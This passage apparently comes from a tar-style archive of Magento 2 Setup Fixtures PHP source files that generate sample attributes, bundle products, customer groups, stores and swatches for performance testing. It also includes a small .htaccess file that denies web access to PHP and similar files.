\Magento\Setup\Fixtures\ImagesGenerator\ImagesGeneratorFactory $imagesGeneratorFactory ) { $this->swatchHelper = $swatchHelper; $this->imagesGeneratorFactory = $imagesGeneratorFactory; } /** * Generates data for Swatch Attribute of the required type * * @param int $optionCount * @param string $data * @param string $type * @return array */ public function generateSwatchData($optionCount, $data, $type) { if ($type === null) { return []; } $attribute['swatch_input_type'] = Swatch::SWATCH_INPUT_TYPE_VISUAL; $attribute['swatchvisual']['value'] = array_reduce( range(1, $optionCount), function ($values, $index) use ($optionCount, $data, $type) { if ($type === 'image') { $values['option_' . $index] = $this->generateSwatchImage($data . $index); } if ($type === 'color') { $values['option_' . $index] = $this->generateSwatchColor($index / $optionCount); } return $values; }, [] ); $attribute['optionvisual']['value'] = array_reduce( range(1, $optionCount), function ($values, $index) { $values['option_' . $index] = ['option ' . $index]; return $values; }, [] ); return $attribute; } /** * Generate hex-coded color for Swatch Attribute based on provided index * * Colors will change gradually according to index value. * * @param int $index * @return string */ private function generateSwatchColor($index) { return '#' . str_repeat(dechex(255 * $index), 3); } /** * Generate and save image for Swatch Attribute * * Image is generated with a set background color rgb(240, 240, 240), random foreground color, and pattern which * is based on the binary representation of $data. * * @param string $data String value to be used for generation. * @return string Path to the image file. */ private function generateSwatchImage($data) { if ($this->imagesGenerator === null) { $this->imagesGenerator = $this->imagesGeneratorFactory->create(); } // phpcs:ignore Magento2.Security.InsecureFunction $imageName = md5($data) . '.jpg'; $this->imagesGenerator->generate([ 'image-width' => self::GENERATED_SWATCH_WIDTH, 'image-height' => self::GENERATED_SWATCH_HEIGHT, 'image-name' => $imageName ]); $imagePath = substr($this->swatchHelper->moveImageFromTmp($imageName), 1); $this->swatchHelper->generateSwatchVariations($imagePath); return $imagePath; } } Magento/Setup/Fixtures/AttributeSet/AttributeSetFixture.php000077700000015400151323623130020173 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures\AttributeSet; use Magento\Catalog\Api\Data\ProductAttributeInterface; /** * Persitor for Attribute Sets and Attributes based on the configuration. */ class AttributeSetFixture { /** * @var \Magento\Catalog\Api\ProductAttributeRepositoryInterface */ private $attributeRepository; /** * @var \Magento\Catalog\Api\ProductAttributeManagementInterface */ private $attributeManagement; /** * @var \Magento\Catalog\Api\Data\ProductAttributeInterfaceFactory */ private $attributeFactory; /** * @var \Magento\Eav\Api\Data\AttributeOptionInterfaceFactory */ private $optionFactory; /** * @var \Magento\Eav\Api\Data\AttributeSetInterfaceFactory */ private $attributeSetFactory; /** * @var \Magento\Eav\Api\Data\AttributeGroupInterfaceFactory */ private $attributeGroupFactory; /** * @var \Magento\Catalog\Api\AttributeSetManagementInterface */ private $attributeSetManagement; /** * @var \Magento\Catalog\Api\ProductAttributeGroupRepositoryInterface */ private $attributeGroupRepository; /** * AttributeSetsFixture constructor. * * @param \Magento\Catalog\Api\AttributeSetManagementInterface $attributeSetManagement * @param \Magento\Catalog\Api\ProductAttributeGroupRepositoryInterface $attributeGroupRepository * @param \Magento\Catalog\Api\ProductAttributeRepositoryInterface $attributeRepository * @param \Magento\Catalog\Api\ProductAttributeManagementInterface $attributeManagement * @param \Magento\Catalog\Api\Data\ProductAttributeInterfaceFactory $attributeFactory * @param \Magento\Eav\Api\Data\AttributeOptionInterfaceFactory $optionFactory * @param \Magento\Eav\Api\Data\AttributeSetInterfaceFactory $attributeSetFactory * @param \Magento\Eav\Api\Data\AttributeGroupInterfaceFactory $attributeGroupFactory */ public function __construct( \Magento\Catalog\Api\AttributeSetManagementInterface $attributeSetManagement, \Magento\Catalog\Api\ProductAttributeGroupRepositoryInterface $attributeGroupRepository, \Magento\Catalog\Api\ProductAttributeRepositoryInterface $attributeRepository, \Magento\Catalog\Api\ProductAttributeManagementInterface $attributeManagement, \Magento\Catalog\Api\Data\ProductAttributeInterfaceFactory $attributeFactory, \Magento\Eav\Api\Data\AttributeOptionInterfaceFactory $optionFactory, \Magento\Eav\Api\Data\AttributeSetInterfaceFactory $attributeSetFactory, \Magento\Eav\Api\Data\AttributeGroupInterfaceFactory $attributeGroupFactory ) { $this->attributeRepository = $attributeRepository; $this->attributeManagement = $attributeManagement; $this->attributeFactory = $attributeFactory; $this->optionFactory = $optionFactory; $this->attributeSetFactory = $attributeSetFactory; $this->attributeGroupFactory = $attributeGroupFactory; $this->attributeSetManagement = $attributeSetManagement; $this->attributeGroupRepository = $attributeGroupRepository; } /** * Create Attribute Set based on raw data. * * @param array $attributeSetData * @param int $sortOrder * @return array */ public function createAttributeSet(array $attributeSetData, $sortOrder = 3) { /** @var \Magento\Eav\Api\Data\AttributeSetInterface $attributeSet */ $attributeSet = $this->attributeSetFactory->create(); $attributeSet->setAttributeSetName($attributeSetData['name']); $attributeSet->setEntityTypeId(ProductAttributeInterface::ENTITY_TYPE_CODE); try { $attributeSet = $this->attributeSetManagement->create($attributeSet, 4); } catch (\Exception $e) { return $this->getFormattedAttributeSetData($attributeSetData); } $attributeSetId = $attributeSet->getAttributeSetId(); /** @var \Magento\Eav\Api\Data\AttributeGroupInterface $attributeGroup */ $attributeGroup = $this->attributeGroupFactory->create(); $attributeGroup->setAttributeGroupName($attributeSet->getAttributeSetName() . ' - Group'); $attributeGroup->setAttributeSetId($attributeSetId); $this->attributeGroupRepository->save($attributeGroup); $attributeGroupId = $attributeGroup->getAttributeGroupId(); $attributesData = array_key_exists(0, $attributeSetData['attributes']['attribute']) ? $attributeSetData['attributes']['attribute'] : [$attributeSetData['attributes']['attribute']]; foreach ($attributesData as $attributeData) { //Create Attribute $optionsData = array_key_exists(0, $attributeData['options']['option']) ? $attributeData['options']['option'] : [$attributeData['options']['option']]; $options = []; foreach ($optionsData as $optionData) { $option = $this->optionFactory->create(['data' => $optionData]); $options[] = $option; } /** @var ProductAttributeInterface $attribute */ $attribute = $this->attributeFactory->create(['data' => $attributeData]); $attribute->setOptions($options); $attribute->setNote('auto'); $productAttribute = $this->attributeRepository->save($attribute); $attributeId = $productAttribute->getAttributeId(); //Associate Attribute to Attribute Set $this->attributeManagement->assign($attributeSetId, $attributeGroupId, $attributeId, $sortOrder); } return $this->getFormattedAttributeSetData($attributeSetData); } /** * Return formatted attribute set data * * @param array $attributeSetData * @return array */ private function getFormattedAttributeSetData($attributeSetData) { $attributesData = array_key_exists(0, $attributeSetData['attributes']['attribute']) ? $attributeSetData['attributes']['attribute'] : [$attributeSetData['attributes']['attribute']]; $attributes = []; foreach ($attributesData as $attributeData) { $optionsData = array_key_exists(0, $attributeData['options']['option']) ? $attributeData['options']['option'] : [$attributeData['options']['option']]; $optionsData = array_map(function ($option) { return $option['label']; }, $optionsData); $attributes[] = [ 'name' => $attributeData['attribute_code'], 'values' => $optionsData ]; } return [ 'name' => $attributeSetData['name'], 'attributes' => $attributes ]; } } Magento/Setup/Fixtures/AttributeSet/.htaccess000077700000000177151323623130015277 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Fixtures/FixtureModel.php000077700000014374151323623130014206 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ /** * Magento model for performance tests */ namespace Magento\Setup\Fixtures; use Magento\Indexer\Console\Command\IndexerReindexCommand; use Magento\Setup\Exception; use Symfony\Component\Console\Input\ArrayInput; use Symfony\Component\Console\Output\OutputInterface; /** * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class FixtureModel { /** * Area code */ const AREA_CODE = 'adminhtml'; /** * Fixtures file name pattern */ const FIXTURE_PATTERN = '?*Fixture.php'; /** * Application object * * @var \Magento\Framework\AppInterface */ protected $application; /** * @var \Magento\Framework\ObjectManagerInterface */ protected $objectManager; /** * List of fixtures applied to the application * * @var \Magento\Setup\Fixtures\Fixture[] */ protected $fixtures = []; /** * List of fixtures indexed by class names * * @var \Magento\Setup\Fixtures\Fixture[] */ private $fixturesByNames = []; /** * Parameters labels * * @var array * @deprecated 2.2.0 */ protected $paramLabels = []; /** * @var array */ protected $initArguments; /** * @var FixtureConfig */ private $config; /** * Constructor * * @param IndexerReindexCommand $reindexCommand * @param array $initArguments */ public function __construct(IndexerReindexCommand $reindexCommand, $initArguments = []) { $this->initArguments = $initArguments; $this->reindexCommand = $reindexCommand; } /** * Run reindex * * @param OutputInterface $output * @return void */ public function reindex(OutputInterface $output) { $input = new ArrayInput([]); $this->reindexCommand->run($input, $output); } /** * Load fixtures * * @return $this * @throws \Exception */ public function loadFixtures() { $files = glob(__DIR__ . DIRECTORY_SEPARATOR . self::FIXTURE_PATTERN, GLOB_NOSORT); foreach ($files as $file) { $file = basename($file, '.php'); /** @var \Magento\Setup\Fixtures\Fixture $fixture */ $type = 'Magento\Setup\Fixtures' . '\\' . $file; $fixture = $this->getObjectManager()->create( $type, [ 'fixtureModel' => $this, ] ); if (isset($this->fixtures[$fixture->getPriority()])) { throw new \InvalidArgumentException( sprintf('Duplicate priority %d in fixture %s', $fixture->getPriority(), $type) ); } if ($fixture->getPriority() >= 0) { $this->fixtures[$fixture->getPriority()] = $fixture; } $this->fixturesByNames[get_class($fixture)] = $fixture; } ksort($this->fixtures); return $this; } /** * Get param labels * * @return array * @deprecated 2.2.0 */ public function getParamLabels() { return $this->paramLabels; } /** * Get fixtures * * @return Fixture[] */ public function getFixtures() { return $this->fixtures; } /** * Returns fixture by name * @param $name string * @return \Magento\Setup\Fixtures\Fixture * @throws \Magento\Setup\Exception */ public function getFixtureByName($name) { if (!array_key_exists($name, $this->fixturesByNames)) { throw new Exception('Wrong fixture name'); } return $this->fixturesByNames[$name]; } /** * Get object manager * * @return \Magento\Framework\ObjectManagerInterface */ public function getObjectManager() { if (!$this->objectManager) { $objectManagerFactory = \Magento\Framework\App\Bootstrap::createObjectManagerFactory( BP, $this->initArguments ); $this->objectManager = $objectManagerFactory->create($this->initArguments); $this->objectManager->get(\Magento\Framework\App\State::class)->setAreaCode(self::AREA_CODE); } return $this->objectManager; } /** * Init Object Manager * * @param string $area * @return FixtureModel */ public function initObjectManager($area = self::AREA_CODE) { $objectManger = $this->getObjectManager(); $configuration = $objectManger ->get(\Magento\Framework\ObjectManager\ConfigLoaderInterface::class) ->load($area); $objectManger->configure($configuration); $diConfiguration = $this->getValue('di'); if (file_exists($diConfiguration)) { $dom = new \DOMDocument(); $dom->load($diConfiguration); $objectManger->configure( $objectManger ->get(\Magento\Framework\ObjectManager\Config\Mapper\Dom::class) ->convert($dom) ); } $objectManger->get(\Magento\Framework\Config\ScopeInterface::class) ->setCurrentScope($area); return $this; } /** * Reset object manager * * @return \Magento\Framework\ObjectManagerInterface * @deprecated 2.2.0 */ public function resetObjectManager() { return $this; } /** * @return FixtureConfig */ private function getConfig() { if (null === $this->config) { $this->config = $this->getObjectManager()->get(FixtureConfig::class); } return $this->config; } /** * Load config from file * * @param string $filename * @throws \Exception * * @return void */ public function loadConfig($filename) { return $this->getConfig()->loadConfig($filename); } /** * Get profile configuration value * * @param string $key * @param null|mixed $default * * @return mixed */ public function getValue($key, $default = null) { return $this->getConfig()->getValue($key, $default); } } Magento/Setup/Fixtures/BundleProductsFixture.php000077700000022051151323623130016072 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures; use Magento\Bundle\Api\Data\LinkInterface; use Magento\Bundle\Model\Product\Type; use Magento\Catalog\Model\Product\Visibility; /** * Generate bundle products based on profile configuration * Generated bundle selections are not displayed individually in catalog * Support the following format: * <bundle_products>{products amount}</bundle_products> * <bundle_products_options>{bundle product options amount}</bundle_products_options> * <bundle_products_variation>{amount of simple products per each option}</bundle_products_variation> * * Products will be uniformly distributed per categories and websites * If node "assign_entities_to_all_websites" from profile is set to "1" then products will be assigned to all websites * * @see setup/performance-toolkit/profiles/ce/small.xml * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class BundleProductsFixture extends Fixture { /** * Bundle sku pattern with entity number and suffix. Suffix equals "{options}-{variations_per_option}" */ const SKU_PATTERN = 'Bundle Product %s - %s'; /** * @var int */ protected $priority = 42; /** * @var \Magento\Setup\Model\FixtureGenerator\ProductGenerator */ private $productGenerator; /** * @var \Magento\Setup\Model\FixtureGenerator\BundleProductGenerator */ private $bundleProductGenerator; /** * @var \Magento\Catalog\Model\ResourceModel\Product\CollectionFactory */ private $productCollectionFactory; /** * @var int */ private $productStartIndex; /** * @var ProductsAmountProvider */ private $productsAmountProvider; /** * @var WebsiteCategoryProvider */ private $websiteCategoryProvider; /** * @var PriceProvider */ private $priceProvider; /** * @param FixtureModel $fixtureModel * @param \Magento\Setup\Model\FixtureGenerator\ProductGenerator $productGenerator * @param \Magento\Setup\Model\FixtureGenerator\BundleProductGenerator $bundleProductGenerator * @param \Magento\Catalog\Model\ResourceModel\Product\CollectionFactory $productCollectionFactory * @param ProductsAmountProvider $productsAmountProvider * @param WebsiteCategoryProvider $websiteCategoryProvider * @param PriceProvider $priceProvider */ public function __construct( FixtureModel $fixtureModel, \Magento\Setup\Model\FixtureGenerator\ProductGenerator $productGenerator, \Magento\Setup\Model\FixtureGenerator\BundleProductGenerator $bundleProductGenerator, \Magento\Catalog\Model\ResourceModel\Product\CollectionFactory $productCollectionFactory, ProductsAmountProvider $productsAmountProvider, WebsiteCategoryProvider $websiteCategoryProvider, PriceProvider $priceProvider ) { parent::__construct($fixtureModel); $this->productGenerator = $productGenerator; $this->bundleProductGenerator = $bundleProductGenerator; $this->productCollectionFactory = $productCollectionFactory; $this->productsAmountProvider = $productsAmountProvider; $this->websiteCategoryProvider = $websiteCategoryProvider; $this->priceProvider = $priceProvider; } /** * @inheritdoc * * @SuppressWarnings(PHPMD.UnusedLocalVariable) */ public function execute() { $bundlesAmount = $this->fixtureModel->getValue('bundle_products', 0); $bundleOptions = $this->fixtureModel->getValue('bundle_products_options', 1); $bundleProductsPerOption = $this->fixtureModel->getValue('bundle_products_variation', 10); $bundleOptionSuffix = $bundleOptions . '-' . $bundleProductsPerOption; $variationCount = $bundleOptions * $bundleProductsPerOption; $bundlesAmount = $this->productsAmountProvider->getAmount( $bundlesAmount, $this->getBundleSkuPattern($bundleOptionSuffix) ); if (!$bundlesAmount) { return; } $variationSkuClosure = function ($productId, $entityNumber) use ($bundleOptionSuffix, $variationCount) { $productIndex = $this->getBundleProductIndex($entityNumber, $variationCount); $variationIndex = $this->getBundleVariationIndex($entityNumber, $variationCount); return sprintf($this->getBundleOptionItemSkuPattern($bundleOptionSuffix), $productIndex, $variationIndex); }; $fixtureMap = [ 'name' => $variationSkuClosure, 'sku' => $variationSkuClosure, 'price' => function ($index, $entityNumber) { return $this->priceProvider->getPrice($entityNumber); }, 'website_ids' => function ($index, $entityNumber) use ($variationCount) { $configurableIndex = $this->getBundleProductIndex($entityNumber, $variationCount); return $this->websiteCategoryProvider->getWebsiteIds($configurableIndex); }, 'visibility' => Visibility::VISIBILITY_NOT_VISIBLE, ]; $this->productGenerator->generate($bundlesAmount * $bundleOptions * $bundleProductsPerOption, $fixtureMap); $optionPriceType = [ LinkInterface::PRICE_TYPE_FIXED, LinkInterface::PRICE_TYPE_PERCENT, ]; $priceTypeClosure = function ($index) use ($optionPriceType) { return $optionPriceType[$index % count($optionPriceType)]; }; $skuClosure = function ($index, $entityNumber) use ($bundleOptionSuffix) { return sprintf( $this->getBundleSkuPattern($bundleOptionSuffix), $entityNumber + $this->getNewProductStartIndex() ); }; $fixtureMap = [ '_bundle_options' => $bundleOptions, '_bundle_products_per_option' => $bundleProductsPerOption, '_bundle_variation_sku_pattern' => sprintf( $this->getBundleOptionItemSkuPattern($bundleOptionSuffix), $this->getNewProductStartIndex(), '%s' ), 'type_id' => Type::TYPE_CODE, 'name' => $skuClosure, 'sku' => $skuClosure, 'meta_title' => $skuClosure, 'price' => function ($index) use ($priceTypeClosure) { // phpcs:ignore Magento2.Functions.DiscouragedFunction return $priceTypeClosure($index) === LinkInterface::PRICE_TYPE_PERCENT ? mt_rand(10, 90) : $this->priceProvider->getPrice($index); }, 'priceType' => $priceTypeClosure, 'website_ids' => function ($index, $entityNumber) { return $this->websiteCategoryProvider->getWebsiteIds($entityNumber + $this->getNewProductStartIndex()); }, 'category_ids' => function ($index, $entityNumber) { return $this->websiteCategoryProvider->getCategoryId($entityNumber + $this->getNewProductStartIndex()); }, ]; $this->bundleProductGenerator->generate($bundlesAmount, $fixtureMap); } /** * Get sku pattern for bundle product option item * * @param string $bundleOptionSuffix * @return string */ private function getBundleOptionItemSkuPattern($bundleOptionSuffix) { return $this->getBundleSkuPattern($bundleOptionSuffix) . ' - option %s'; } /** * Get sku pattern for bundle product. Replace suffix pattern with passed value * * @param string $bundleOptionSuffix * @return string */ private function getBundleSkuPattern($bundleOptionSuffix) { return sprintf(self::SKU_PATTERN, '%s', $bundleOptionSuffix); } /** * Get start index for product number generation * * @return int */ private function getNewProductStartIndex() { if (null === $this->productStartIndex) { $this->productStartIndex = $this->productCollectionFactory->create() ->addFieldToFilter('type_id', Type::TYPE_CODE) ->getSize() + 1; } return $this->productStartIndex; } /** * Get bundle product index number * * @param int $entityNumber * @param int $variationCount * @return float */ private function getBundleProductIndex($entityNumber, $variationCount) { return floor($entityNumber / $variationCount) + $this->getNewProductStartIndex(); } /** * Get bundle variation index number * * @param int $entityNumber * @param int $variationCount * @return float */ private function getBundleVariationIndex($entityNumber, $variationCount) { return $entityNumber % $variationCount + 1; } /** * @inheritdoc */ public function getActionTitle() { return 'Generating bundle products'; } /** * @inheritdoc */ public function introduceParamLabels() { return [ 'bundle_products' => 'Bundle products', ]; } } Magento/Setup/Fixtures/CustomerGroupsFixture.php000077700000004235151323623130016142 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures; use Magento\Customer\Api\Data\GroupInterfaceFactory; use Magento\Customer\Api\GroupRepositoryInterface; use Magento\Customer\Model\ResourceModel\Group\CollectionFactory; /** * Fixture for creating a Customer Groups */ class CustomerGroupsFixture extends Fixture { const DEFAULT_TAX_CLASS_ID = 3; /** * @var int */ protected $priority = 60; /** * @var CollectionFactory */ private $groupCollectionFactory; /** * @var GroupRepositoryInterface */ private $groupRepository; /** * @var GroupInterfaceFactory */ private $groupFactory; /** * @inheritDoc */ public function __construct( FixtureModel $fixtureModel, CollectionFactory $groupCollectionFactory, GroupRepositoryInterface $groupRepository, GroupInterfaceFactory $groupFactory ) { parent::__construct($fixtureModel); $this->groupCollectionFactory = $groupCollectionFactory; $this->groupRepository = $groupRepository; $this->groupFactory = $groupFactory; } /** * @inheritdoc */ public function execute() { $existingCustomerGroupsCount = $this->groupCollectionFactory->create()->getSize(); $customerGroupsCount = $this->fixtureModel->getValue('customer_groups', 0); if ($customerGroupsCount < 1) { return; } for ($i = $existingCustomerGroupsCount; $i < $customerGroupsCount; ++$i) { $groupDataObject = $this->groupFactory->create(); $groupDataObject ->setCode('customer_group_' . $i) ->setTaxClassId(self::DEFAULT_TAX_CLASS_ID); $this->groupRepository->save($groupDataObject); } } /** * @inheritdoc */ public function getActionTitle() { return 'Generating customer groups'; } /** * @inheritdoc */ public function introduceParamLabels() { return [ 'customer_groups' => 'Customer groups' ]; } } Magento/Setup/Fixtures/Fixture.php000077700000003434151323623130013220 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures; use Symfony\Component\Console\Output\OutputInterface; /** * @SuppressWarnings(PHPMD.NumberOfChildren) */ abstract class Fixture { /** * @var int */ protected $priority; /** * @var FixtureModel */ protected $fixtureModel; /** * @param FixtureModel $fixtureModel */ public function __construct(FixtureModel $fixtureModel) { $this->fixtureModel = $fixtureModel; } /** * Execute fixture * * @return void */ abstract public function execute(); /** * Get fixture action description * * @return string */ abstract public function getActionTitle(); /** * Print information about generated fixture. Print fixture label and amount of generated items * * @param OutputInterface $output * @return void */ public function printInfo(OutputInterface $output) { foreach ($this->introduceParamLabels() as $configName => $label) { $configValue = $this->fixtureModel->getValue($configName); $generationCount = is_array($configValue) === true ? count($configValue[array_keys($configValue)[0]]) : $configValue; if (!empty($generationCount)) { $output->writeln('<info> |- ' . $label . ': ' . $generationCount . '</info>'); } } } /** * Introduce parameters labels * * @return array */ abstract public function introduceParamLabels(); /** * Get fixture priority * * @return int */ public function getPriority() { return $this->priority; } } Magento/Setup/Fixtures/StoresFixture.php000077700000025162151323623130014422 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures; use Magento\Catalog\Model\Category; use Magento\Catalog\Model\CategoryFactory; use Magento\Framework\App\Config\Storage\Writer; use Magento\Framework\Event\ManagerInterface; use Magento\Framework\Locale\Config; use Magento\Store\Api\Data\StoreInterface; use Magento\Store\Model\Group; use Magento\Store\Model\StoreManager; use Magento\Store\Model\Website; /** * Generate websites, store groups and store views based on profile configuration * Supports next format: * <websites>{amount of websites}</websites> * <store_groups>{amount of store groups}</store_groups> * <store_views>{amount of store views}</store_views> * <assign_entities_to_all_websites>{1|0}</assign_entities_to_all_websites> * * Each node of configuration except <assign_entities_to_all_websites/> * means how many entities need to be generated * * Store groups will have normal distribution among websites * Store views will have normal distribution among store groups * * <assign_entities_to_all_websites>1<assign_entities_to_all_websites/> * means that all stores will have the same root category * * <assign_entities_to_all_websites>0<assign_entities_to_all_websites/> * means that all stores will have unique root category * * @see setup/performance-toolkit/profiles/ce/small.xml * @SuppressWarnings(PHPMD) */ class StoresFixture extends Fixture { const DEFAULT_WEBSITE_COUNT = 1; const DEFAULT_STORE_COUNT = 1; const DEFAULT_STORE_VIEW_COUNT = 1; /** * @var int */ protected $priority = 10; /** * @var array */ private $websiteIds = []; /** * @var array */ private $storeGroupsIds = []; /** * @var array */ private $storeGroupsToWebsites = []; /** * @var StoreManager */ private $storeManager; /** * @var Writer */ private $scopeConfig; /** * @var Group */ private $defaultStoreGroup; /** * @var Website */ private $defaultWebsite; /** * @var int */ private $defaultParentCategoryId; /** * @var int */ private $defaultStoreGroupId; /** * @var int */ private $defaultWebsiteId; /** * @var int */ private $storeGroupsCount; /** * @var int */ private $storesCount; /** * @var int */ private $websitesCount; /** * @var bool */ private $singleRootCategory; /** * @var StoreInterface */ private $defaultStoreView; /** * @var int */ private $storeViewIds; /** * @var ManagerInterface */ private $eventManager; /** * @var CategoryFactory */ private $categoryFactory; /** * @var Config */ private $localeConfig; /** * StoresFixture constructor * @param FixtureModel $fixtureModel * @param StoreManager $storeManager * @param ManagerInterface $eventManager * @param CategoryFactory $categoryFactory * @param Config $localeConfig * @param Writer $scopeConfig */ public function __construct( FixtureModel $fixtureModel, StoreManager $storeManager, ManagerInterface $eventManager, CategoryFactory $categoryFactory, Config $localeConfig, Writer $scopeConfig ) { parent::__construct($fixtureModel); $this->storeManager = $storeManager; $this->eventManager = $eventManager; $this->categoryFactory = $categoryFactory; $this->localeConfig = $localeConfig; $this->scopeConfig = $scopeConfig; } /** * {@inheritdoc} * @SuppressWarnings(PHPMD) */ public function execute() { //get settings counts $this->websitesCount = $this->fixtureModel->getValue('websites', self::DEFAULT_WEBSITE_COUNT); $this->storeGroupsCount = $this->fixtureModel->getValue('store_groups', self::DEFAULT_STORE_COUNT); $this->storesCount = $this->fixtureModel->getValue('store_views', self::DEFAULT_STORE_VIEW_COUNT); $this->singleRootCategory = (bool)$this->fixtureModel->getValue('assign_entities_to_all_websites', false); if ($this->websitesCount <= self::DEFAULT_WEBSITE_COUNT && $this->storeGroupsCount <= self::DEFAULT_STORE_COUNT && $this->storesCount <= self::DEFAULT_STORE_VIEW_COUNT ) { return; } //Get existing entities counts $storeGroups = $this->storeManager->getGroups(); $this->storeGroupsIds= array_keys($storeGroups); foreach ($storeGroups as $storeGroupId => $storeGroup) { $this->storeGroupsToWebsites[$storeGroupId] = $storeGroup->getWebsiteId(); } $this->websiteIds = array_values(array_unique($this->storeGroupsToWebsites)); $this->defaultWebsite = $this->storeManager->getWebsite(); $this->defaultStoreGroup = $this->storeManager->getGroup(); $this->defaultWebsiteId = $this->defaultWebsite->getId(); $this->defaultStoreGroupId = $this->defaultStoreGroup->getId(); $this->defaultStoreView = $this->storeManager->getDefaultStoreView(); $this->storeViewIds = array_keys($this->storeManager->getStores()); $this->generateWebsites(); $this->generateStoreGroups(); $this->generateStoreViews(); } /** * Generating web sites * @return void */ private function generateWebsites() { $existedWebsitesCount = count($this->websiteIds) + self::DEFAULT_WEBSITE_COUNT; while ($existedWebsitesCount <= $this->websitesCount) { $website = clone $this->defaultWebsite; $websiteCode = sprintf('website_%d', $existedWebsitesCount); $websiteName = sprintf('Website %d', $existedWebsitesCount); $website->addData( [ 'website_id' => null, 'code' => $websiteCode, 'name' => $websiteName, 'is_default' => false, ] ); $website->save(); $this->websiteIds[] = $website->getId(); $existedWebsitesCount++; } } /** * Generating store groups ('stores' on frontend) * @return void */ private function generateStoreGroups() { $existedStoreGroupCount = count($this->storeGroupsIds); $existedWebsitesCount = count($this->websiteIds); while ($existedStoreGroupCount < $this->storeGroupsCount) { $websiteId = $this->websiteIds[$existedStoreGroupCount % $existedWebsitesCount]; $storeGroupName = sprintf('Store Group %d - website_id_%d', ++$existedStoreGroupCount, $websiteId); $storeGroupCode = sprintf('store_group_%d', $existedStoreGroupCount); $storeGroup = clone $this->defaultStoreGroup; $storeGroup->addData( [ 'group_id' => null, 'website_id' => $websiteId, 'name' => $storeGroupName, 'code' => $storeGroupCode, 'root_category_id' => $this->getStoreCategoryId($storeGroupName), ] ); $storeGroup->save(); $this->storeGroupsIds[] = $storeGroup->getId(); $this->storeGroupsToWebsites[$storeGroup->getId()] = $websiteId; } } /** * Generating store views * @return void */ private function generateStoreViews() { $localesList = $this->localeConfig->getAllowedLocales(); $localesListCount = count($localesList); $existedStoreViewsCount = count($this->storeViewIds); $existedStoreGroupCount = count($this->storeGroupsIds); while ($existedStoreViewsCount < $this->storesCount) { $groupId = $this->storeGroupsIds[$existedStoreViewsCount % $existedStoreGroupCount]; $websiteId = $this->storeGroupsToWebsites[$groupId]; $store = clone $this->defaultStoreView; $storeCode = sprintf('store_view_%d', ++$existedStoreViewsCount); $storeName = sprintf( 'Store view %d - website_id_%d - group_id_%d', $existedStoreViewsCount, $websiteId, $groupId ); $store->addData( [ 'store_id' => null, 'name' => $storeName, 'website_id' => $websiteId, 'group_id' => $groupId, 'code' => $storeCode ] )->save(); $this->saveStoreLocale($store->getId(), $localesList[$existedStoreViewsCount % $localesListCount]); } } /** * @param int $storeId * @param string $localeCode * @return void */ private function saveStoreLocale($storeId, $localeCode) { $this->scopeConfig->save( \Magento\Directory\Helper\Data::XML_PATH_DEFAULT_LOCALE, $localeCode, \Magento\Store\Model\ScopeInterface::SCOPE_STORES, $storeId ); } /** * Getting category id for store * * @param string $storeGroupName * @return int */ private function getStoreCategoryId($storeGroupName) { if ($this->singleRootCategory) { return $this->getDefaultCategoryId(); } else { //Generating category for store $category = $this->categoryFactory->create(); $categoryPath = Category::TREE_ROOT_ID; $category->setName("Category " . $storeGroupName) ->setPath($categoryPath) ->setLevel(1) ->setAvailableSortBy('name') ->setDefaultSortBy('name') ->setIsActive(true) ->save(); return $category->getId(); } } /** * {@inheritdoc} */ public function getActionTitle() { return 'Generating websites, stores and store views'; } /** * {@inheritdoc} */ public function introduceParamLabels() { return [ 'websites' => 'Websites', 'store_groups' => 'Store Groups Count', 'store_views' => 'Store Views Count' ]; } /** * Get default category id * * @return int */ private function getDefaultCategoryId() { if (null === $this->defaultParentCategoryId) { $this->defaultParentCategoryId = $this->storeManager->getStore()->getRootCategoryId(); } return $this->defaultParentCategoryId; } } Magento/Setup/Fixtures/EavVariationsFixture.php000077700000013415151323623130015714 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures; use Magento\Catalog\Model\Product; use Magento\Catalog\Model\ResourceModel\Eav\AttributeFactory; use Magento\Eav\Model\Config; use Magento\Eav\Model\Entity\Attribute\Set; use Magento\Framework\App\CacheInterface; use Magento\Store\Model\StoreManager; use Magento\Swatches\Model\Swatch; /** * Generate attributes default attribute set */ class EavVariationsFixture extends Fixture { /** * @var int */ protected $priority = 40; const ATTRIBUTE_SET_ID = 4; /** * @var Config */ private $eavConfig; /** * @var CacheInterface */ private $cache; /** * @var StoreManager */ private $storeManager; /** * @var Set */ private $attributeSet; /** * @var AttributeFactory */ private $attributeFactory; /** * EavVariationsFixture constructor. * @param FixtureModel $fixtureModel * @param Config $eavConfig * @param CacheInterface $cache * @param StoreManager $storeManager * @param Set $attributeSet * @param AttributeFactory $attributeFactory */ public function __construct( FixtureModel $fixtureModel, Config $eavConfig, CacheInterface $cache, StoreManager $storeManager, Set $attributeSet, AttributeFactory $attributeFactory ) { parent::__construct($fixtureModel); $this->eavConfig = $eavConfig; $this->cache = $cache; $this->storeManager = $storeManager; $this->attributeSet = $attributeSet; $this->attributeFactory = $attributeFactory; } /** * @inheritDoc */ public function execute() { if (!$this->fixtureModel->getValue('configurable_products', []) || in_array($this->getAttributeCode(), $this->eavConfig->getEntityAttributeCodes(Product::ENTITY))) { return; } $this->generateAttribute($this->fixtureModel->getValue('configurable_products_variation', 3)); $cacheKey = Config::ATTRIBUTES_CACHE_ID . Product::ENTITY; $this->cache->remove($cacheKey); } /** * @inheritDoc */ public function getActionTitle() { return 'Generating configurable EAV variations'; } /** * @inheritDoc */ public function introduceParamLabels() { return []; } /** * Generate Attribute * * @param int $optionCount * @return void */ private function generateAttribute($optionCount) { $storeIds = array_keys($this->storeManager->getStores(true)); $options = []; for ($option = 